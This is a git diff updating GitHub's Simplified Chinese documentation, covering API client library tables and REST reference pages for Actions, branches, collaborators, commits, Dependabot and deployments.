 
 ### Go
 
-| Library name | Repository |
-|---|---|
-|**go-github**| [google/go-github](https://github.com/google/go-github)|
+| 库名称           | 仓库                                                      |
+| ------------- | ------------------------------------------------------- |
+| **go-github** | [google/go-github](https://github.com/google/go-github) |
 
 ### Haskell
 
-| Library name | Repository |
-|---|---|
-|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)|
+| 库名称                | 仓库                                            |
+| ------------------ | --------------------------------------------- |
+| **haskell-github** | [fpco/Github](https://github.com/fpco/GitHub) |
 
 ### Java
 
-| Library name | Repository | More information |
-|---|---|---|
-|**GitHub API for Java**| [org.kohsuke.github (From github-api)](http://github-api.kohsuke.org/)|defines an object oriented representation of the GitHub API.|
-|**JCabi GitHub API**|[github.jcabi.com (Personal Website)](http://github.jcabi.com)|is based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API.|
+| 库名称                     | 仓库                                                                  | 更多信息                                                           |
+| ----------------------- | ------------------------------------------------------------------- | -------------------------------------------------------------- |
+| **GitHub API for Java** | [org.kohsuke.github（来自 github-api）](http://github-api.kohsuke.org/) | 定义 GitHub API 的面向对象的表示。                                        |
+| **JCabi GitHub API**    | [github.jcabi.com（个人网站）](http://github.jcabi.com)                   | 基于 JavaScript API (JSR-353)，可简化使用运行时 GitHub stub 的测试，并覆盖整个API。 |
 
 ### JavaScript
 
-| Library name | Repository |
-|---|---|
-|**NodeJS GitHub library**| [pksunkara/octonode](https://github.com/pksunkara/octonode)|
-|**gh3 client-side API v3 wrapper**| [k33g/gh3](https://github.com/k33g/gh3)|
-|**Github.js wrapper around the GitHub API**|[michael/github](https://github.com/michael/github)|
-|**Promise-Based CoffeeScript library for the Browser or NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)|
+| 库名称                                                   | 仓库                                                                      |
+| ----------------------------------------------------- | ----------------------------------------------------------------------- |
+| **NodeJS GitHub library**                             | [pksunkara/octonode](https://github.com/pksunkara/octonode)             |
+| **gh3 client-side API v3 wrapper**                    | [k33g/gh3](https://github.com/k33g/gh3)                                 |
+| **关于 GitHub API 的 Github.js 包装程序**                    | [michael/github](https://github.com/michael/github)                     |
+| **适用于 Browser 或 NodeJS 的基于 Promise 的 CoffeeScript 库** | [philschatz/github-client](https://github.com/philschatz/github-client) |
 
 ### Julia
 
-| Library name | Repository |
-|---|---|
-|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)|
+| 库名称           | 仓库                                                          |
+| ------------- | ----------------------------------------------------------- |
+| **GitHub.jl** | [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) |
 
 ### OCaml
 
-| Library name | Repository |
-|---|---|
-|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)|
+| 库名称              | 仓库                                                            |
+| ---------------- | ------------------------------------------------------------- |
+| **ocaml-github** | [mirage/ocaml-github](https://github.com/mirage/ocaml-github) |
 
 ### Perl
 
-| Library name | Repository | metacpan Website for the Library |
-|---|---|---|
-|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)|
-|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)|
+| 库名称             | 仓库                                                                    | 库的 metacpan 网站                                          |
+| --------------- | --------------------------------------------------------------------- | ------------------------------------------------------- |
+| **Pithub**      | [plu/Pithub](https://github.com/plu/Pithub)                           | [Pithub CPAN](http://metacpan.org/module/Pithub)        |
+| **Net::GitHub** | [fayland/perl-net-github](https://github.com/fayland/perl-net-github) | [Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub) |
 
 ### PHP
 
-| Library name | Repository |
-|---|---|
-|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)|
-|**GitHub Joomla! Package**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)|
-|**GitHub bridge for Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)|
+| 库名称                           | 仓库                                                                                |
+| ----------------------------- | --------------------------------------------------------------------------------- |
+| **PHP GitHub API**            | [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)               |
+| **GitHub Joomla! 包**          | [joomla-framework/github-api](https://github.com/joomla-framework/github-api)     |
+| **GitHub bridge for Laravel** | [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) |
 
 ### PowerShell
 
-| Library name | Repository |
-|---|---|
-|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)|
+| 库名称                     | 仓库                                                                                |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| **PowerShellForGitHub** | [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) |
 
 ### Python
 
-| Library name | Repository |
-|---|---|
-|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)|
-|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)|
-|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)|
-|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)|
-|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)|
-|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)|
-|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)|
-|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)|
-|**github-flask**|[github-flask (Official Website)](http://github-flask.readthedocs.org)|
-|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)|
+| 库名称              | 仓库                                                                     |
+| ---------------- | ---------------------------------------------------------------------- |
+| **gidgethub**    | [brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)      |
+| **ghapi**        | [fastai/ghapi](https://github.com/fastai/ghapi)                        |
+| **PyGithub**     | [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)              |
+| **libsaas**      | [duckboard/libsaas](https://github.com/ducksboard/libsaas)             |
+| **github3.py**   | [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)  |
+| **sanction**     | [demianbrecht/sanction](https://github.com/demianbrecht/sanction)      |
+| **agithub**      | [jpaugh/agithub](https://github.com/jpaugh/agithub)                    |
+| **octohub**      | [turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)        |
+| **github-flask** | [github-flask (Official Website)](http://github-flask.readthedocs.org) |
+| **torngithub**   | [jkeylu/torngithub](https://github.com/jkeylu/torngithub)              |
 
 ### Ruby
 
-| Library name | Repository |
-|---|---|
-|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)|
-|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)|
+| 库名称                | 仓库                                                            |
+| ------------------ | ------------------------------------------------------------- |
+| **GitHub API Gem** | [peter-murach/github](https://github.com/peter-murach/github) |
+| **Ghee**           | [rauhryan/ghee](https://github.com/rauhryan/ghee)             |
 
 ### Rust
 
-| Library name | Repository |
-|---|---|
-|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)|
+| 库名称          | 仓库                                                            |
+| ------------ | ------------------------------------------------------------- |
+| **Octocrab** | [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) |
 
 ### Scala
 
-| Library name | Repository |
-|---|---|
-|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)|
-|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)|
+| 库名称          | 仓库                                                      |
+| ------------ | ------------------------------------------------------- |
+| **Hubcat**   | [softprops/hubcat](https://github.com/softprops/hubcat) |
+| **Github4s** | [47deg/github4s](https://github.com/47deg/github4s)     |
 
 ### Shell
 
-| Library name | Repository |
-|---|---|
-|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)|
+| 库名称       | 仓库                                                    |
+| --------- | ----------------------------------------------------- |
+| **ok.sh** | [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) |
diff --git a/translations/zh-CN/content/rest/reference/actions.md b/translations/zh-CN/content/rest/reference/actions.md
index f00f66a23b..43cfd74a1d 100644
--- a/translations/zh-CN/content/rest/reference/actions.md
+++ b/translations/zh-CN/content/rest/reference/actions.md
@@ -1,5 +1,5 @@
 ---
-title: Actions
+title: 操作
 intro: 'With the Actions API, you can manage and control {% data variables.product.prodname_actions %} for an organization or repository.'
 redirect_from:
   - /v3/actions
@@ -14,15 +14,15 @@ miniTocMaxHeadingLevel: 3
 ---
 
 
-The {% data variables.product.prodname_actions %} API enables you to manage {% data variables.product.prodname_actions %} using the REST API. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} require the permissions mentioned in each endpoint. For more information, see "[{% data variables.product.prodname_actions %} Documentation](/actions)."
+{% data variables.product.prodname_actions %} API 允许您使用 REST API 来管理 {% data variables.product.prodname_actions %}。 {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} 需要在每个端点中提及的权限。 更多信息请参阅“[{% data variables.product.prodname_actions %} 文档](/actions)”。
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Artifacts
+## 构件
 
-The Artifacts API allows you to download, delete, and retrieve information about workflow artifacts. {% data reusables.actions.about-artifacts %} For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+构件 API 允许您下载、删除和检索有关工作流程构件的信息。 {% data reusables.actions.about-artifacts %}更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -31,58 +31,58 @@ The Artifacts API allows you to download, delete, and retrieve information about
 {% endfor %}
 
 {% ifversion fpt or ghes > 2.22 or ghae or ghec %}
-## Permissions
+## 权限
 
 The Permissions API allows you to set permissions for what organizations and repositories are allowed to run {% data variables.product.prodname_actions %}, and what actions are allowed to run.{% ifversion fpt or ghec or ghes %} For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization)."{% endif %}
 
-You can also set permissions for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+您还可以为企业设置权限。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin#github-actions)”REST API。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'permissions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 {% endif %}
 
-## Secrets
+## 密码
 
-The Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+密码 API 允许您创建、更新、删除和检索有关加密密码的信息。 {% data reusables.actions.about-secrets %}更多信息请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `secrets` permission to use this API. Authenticated users must have collaborator access to a repository to create, update, or read secrets.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} 必须具有`密码`权限才可使用此 API。 经过身份验证的用户必须对仓库具有协作者权限才可创建、更新或读取密码。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runners
+## 自托管运行器
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners API allows you to register, view, and delete self-hosted runners. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+自托管运行器 API 允许您注册、查看和删除自托管的运行器。 {% data reusables.actions.about-self-hosted-runners %} 更多信息请参阅“[托管您自己的运行器](/actions/hosting-your-own-runners)”。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} 必须对仓库具有`管理`权限，或者对组织具有 `organization_self_hosted_runners` 权限。 经过身份验证的用户必须对仓库或组织具有管理员权限才可使用此 API。
 
-You can manage self-hosted runners for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+您可以管理企业的自托管运行器。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin#github-actions)”REST API。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runners' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runner groups
+## 自托管运行器组
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners Groups API allows you manage groups of self-hosted runners. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+自托管运行器组 API 允许您管理自托运行器组。 更多信息请参阅“[使用组管理对自托管运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} 必须对仓库具有`管理`权限，或者对组织具有 `organization_self_hosted_runners` 权限。 经过身份验证的用户必须对仓库或组织具有管理员权限才可使用此 API。
 
-You can manage self-hosted runner groups for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin##github-actions)" REST API.
+您可以管理企业的自托管运行器组。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin##github-actions)”REST API。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runner-groups' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflows
+## 工作流程
 
-The Workflows API allows you to view workflows for a repository. {% data reusables.actions.about-workflows %} For more information, see "[Automating your workflow with GitHub Actions](/actions/automating-your-workflow-with-github-actions)."
+工作流程 API 允许您查看仓库的工作流程。 {% data reusables.actions.about-workflows %} 更多信息请参阅“[使用 GitHub Actions 自动化工作流程](/actions/automating-your-workflow-with-github-actions)”。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -90,9 +90,9 @@ The Workflows API allows you to view workflows for a repository. {% data reusabl
   {% if operation.subcategory == 'workflows' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow jobs
+## 工作流程作业
 
-The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusables.actions.about-workflow-jobs %} For more information, see "[Workflow syntax for GitHub Actions](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
+工作流程作业 API 允许您查看日志和工作流程作业。 {% data reusables.actions.about-workflow-jobs %} 更多信息请参阅“[GitHub Actions 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)”。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -100,9 +100,9 @@ The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusabl
   {% if operation.subcategory == 'workflow-jobs' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow runs
+## 工作流程运行
 
-The Workflow Runs API allows you to view, re-run, cancel, and view logs for workflow runs. {% data reusables.actions.about-workflow-runs %} For more information, see "[Managing a workflow run](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)."
+工作流程运行 API 允许您查看、重新运行、取消和查看工作流程运行的日志。 {% data reusables.actions.about-workflow-runs %} 更多信息请参阅“[管理工作流程运行](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)”。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
diff --git a/translations/zh-CN/content/rest/reference/branches.md b/translations/zh-CN/content/rest/reference/branches.md
index 60a187a93b..ab8cfe944c 100644
--- a/translations/zh-CN/content/rest/reference/branches.md
+++ b/translations/zh-CN/content/rest/reference/branches.md
@@ -1,6 +1,6 @@
 ---
-title: Branches
-intro: 'The branches API allows you to modify branches and their protection settings.'
+title: 分支
+intro: The branches API allows you to modify branches and their protection settings.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,19 +12,11 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Branches
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Merging
-
-The Repo Merging API supports merging branches in a repository. This accomplishes
-essentially the same thing as merging one branch into another in a local repository
-and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient.
-
-The authenticated user will be the author of any merges done through this endpoint.
-
+## 受保护分支
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% if operation.subcategory == 'branch-protection' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/collaborators.md b/translations/zh-CN/content/rest/reference/collaborators.md
index c4842b7049..b2e53c7d05 100644
--- a/translations/zh-CN/content/rest/reference/collaborators.md
+++ b/translations/zh-CN/content/rest/reference/collaborators.md
@@ -1,5 +1,5 @@
 ---
-title: Collaborators
+title: 协作者
 intro: 'The collaborators API allows you to add, invite, and remove collaborators from a repository.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,24 +12,20 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Collaborators
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Invitations
+## 邀请
 
-The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations.
+仓库邀请 API 允许用户或外部服务邀请其他用户参与仓库协作。 受邀用户（或代表受邀用户的外部服务）可以选择接受或拒绝邀请。
 
-Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted
-access to invitations **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as invitations.
+请注意，`repo:invite` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对邀请的定向访问权限，但**不**授予对仓库代码的访问权限，而 `repo` 作用域同时授予对代码和邀请的权限。
 
-### Invite a user to a repository		
+### 邀请用户参与仓库
 
-Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)."
+使用 API 端点来添加协作者。 更多信息请参阅“[添加仓库协作者](/rest/reference/collaborators#add-a-repository-collaborator)”。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/commits.md b/translations/zh-CN/content/rest/reference/commits.md
index 79591a09a6..30fe07f1ca 100644
--- a/translations/zh-CN/content/rest/reference/commits.md
+++ b/translations/zh-CN/content/rest/reference/commits.md
@@ -1,6 +1,6 @@
 ---
-title: Commits
-intro: 'The commits API allows you to retrieve information and commits, create commit comments, and create commit statuses.'
+title: 提交
+intro: 'The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,57 +12,41 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Commits
-
-The Repo Commits API supports listing, viewing, and comparing commits in a repository.
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Commit comments
+## 提交注释
 
-### Custom media types for commit comments
+### 提交评论的自定义媒体类型
 
-These are the supported media types for commit comments. You can read more
-about the use of media types in the API [here](/rest/overview/media-types).
+以下是提交评论支持的媒体类型。 您可以在[此处](/rest/overview/media-types)阅读有关 API 中媒体类型使用情况的更多信息。
 
     application/vnd.github-commitcomment.raw+json
     application/vnd.github-commitcomment.text+json
     application/vnd.github-commitcomment.html+json
     application/vnd.github-commitcomment.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+更多信息请参阅“[自定义媒体类型](/rest/overview/media-types)”。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Commit statuses
+## 提交状态
 
-The status API allows external services to mark commits with an `error`,
-`failure`, `pending`, or `success` state, which is then reflected in pull requests
-involving those commits.
+状态 API 允许外部服务将提交标记为 `error`、`failure`、`pending` 或 `success` 状态，然后将其反映在涉及这些提交的拉取请求中。
 
-Statuses can also include an optional `description` and `target_url`, and
-we highly recommend providing them as they make statuses much more
-useful in the GitHub UI.
+状态还可以包含可选的 `description` 和 `target_url`，强烈建议使用它们，因为它们使状态在 GitHub UI 中更有用。
 
-As an example, one common use is for continuous integration
-services to mark commits as passing or failing builds using status.  The
-`target_url` would be the full URL to the build output, and the
-`description` would be the high level summary of what happened with the
-build.
+一种常见用例是持续集成服务使用状态将提交标记为构建成功或失败。  `target_url` 是构建输出的完整 URL，`description` 是关于构建过程中所发生情况的高级摘要。
 
-Statuses can include a `context` to indicate what service is providing that status.
-For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`.  You can
-then use the [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit.
+状态可以包括 `context` 以指示提供该状态的服务是什么。 例如，您可以让持续集成服务推送上下文为 `ci` 的状态，让安全审核工具推送上下文为 `security` 的状态。  然后，您可以使用[获取特定引用的组合状态](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)来检索提交的整个状态。
 
-Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as statuses.
+请注意，`repo:status` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对状态的定向访问权限，但**不**授予对仓库代码的访问权限，而 `repo` 作用域同时授予对代码和状态的权限。
 
-If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks).
+如果您正在开发 GitHub 应用程序，希望提供有关外部服务的更多信息，则可能需要使用[检查 API](/rest/reference/checks)。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/dependabot.md b/translations/zh-CN/content/rest/reference/dependabot.md
new file mode 100644
index 0000000000..7a59833f3d
--- /dev/null
+++ b/translations/zh-CN/content/rest/reference/dependabot.md
@@ -0,0 +1,19 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository.'
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+The {% data variables.product.prodname_dependabot %} Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use this API. 经过身份验证的用户必须对仓库具有协作者权限才可创建、更新或读取密码。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/deployments.md b/translations/zh-CN/content/rest/reference/deployments.md
index 1170b20485..5098506d45 100644
--- a/translations/zh-CN/content/rest/reference/deployments.md
+++ b/translations/zh-CN/content/rest/reference/deployments.md
@@ -1,5 +1,5 @@
 ---
-title: Deployments
+title: 部署
 intro: 'The deployments API allows you to create and delete deploy keys, deployments, and deployment environments.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,28 +12,15 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Deploy keys
+部署是部署特定引用（分支、SHA、标记）的请求。 GitHub 分发一个 [`deployment` 事件](/developers/webhooks-and-events/webhook-events-and-payloads#deployment)，使外部服务可以在创建新部署时侦听并采取行动。 部署使开发者和组织能够围绕部署构建松散耦合的工具，而不必担心交付不同类型的应用程序（例如 Web 和本地应用程序）的实现细节。
 
-{% data reusables.repositories.deploy-keys %}
+部署状态允许外部服务将部署标记为 `error`、`failure`、`pending`、`in_progress`、`queued` 或 `success` 状态，以供侦听 [`deployment_status` 事件](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status)的系统使用。
 
-Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
+部署状态还可以包含可选的 `description` 和 `log_url`，强烈建议使用它们，因为它们使部署状态更有用。 `log_url` 是部署输出的完整 URL，`description` 是关于部署过程中所发生情况的高级摘要。
 
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
-{% endfor %}
+在创建新的部署和部署状态时，GitHub 将分发 `deployment` 和 `deployment_status` 事件。 这些事件允许第三方集成接收对部署请求的响应，并在取得进展时更新部署的状态。
 
-## Deployments
-
-Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
-
-Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
-
-Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and
-the `description` is a high-level summary of what happened with the deployment.
-
-GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made.
-
-Below is a simple sequence diagram for how these interactions would work.
+下面是一个说明这些交互的工作方式的简单序列图。
 
 ```
 +---------+             +--------+            +-----------+        +-------------+
@@ -62,29 +49,44 @@ Below is a simple sequence diagram for how these interactions would work.
      |                      |                       |                     |
 ```
 
-Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc.
+请记住，GitHub 从未真正访问过您的服务器。 与部署事件的交互取决于第三方集成。 多个系统可以侦听部署事件，由其中每个系统来决定它们是否负责将代码推送到服务器、构建本地代码等。
 
-Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
+请注意，`repo_deployment` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对部署和部署状态的定向访问权限，但**不**授予对仓库代码的访问权限，而 {% ifversion not ghae %}`public_repo` 和{% endif %}`repo` 作用域还授予对代码的权限。
 
+### 非活动部署
 
-### Inactive deployments
+当您将部署状态设置为 `success` 时，同一仓库中所有先前的非瞬态、非生产环境部署将变成 `inactive`。 为避免这种情况，您可以在创建部署状态时将 `auto_inactive` 设置为 `false`。
 
-When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
-
-You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
+您可以通过将 `state` 设为 `inactive` 来表示某个瞬态环境不再存在。  将 `state` 设为 `inactive`，表示部署在 {% data variables.product.prodname_dotcom %} 中 `destroyed` 并删除对它的访问权限。
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## 部署状态
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## 部署密钥
+
+{% data reusables.repositories.deploy-keys %}
+
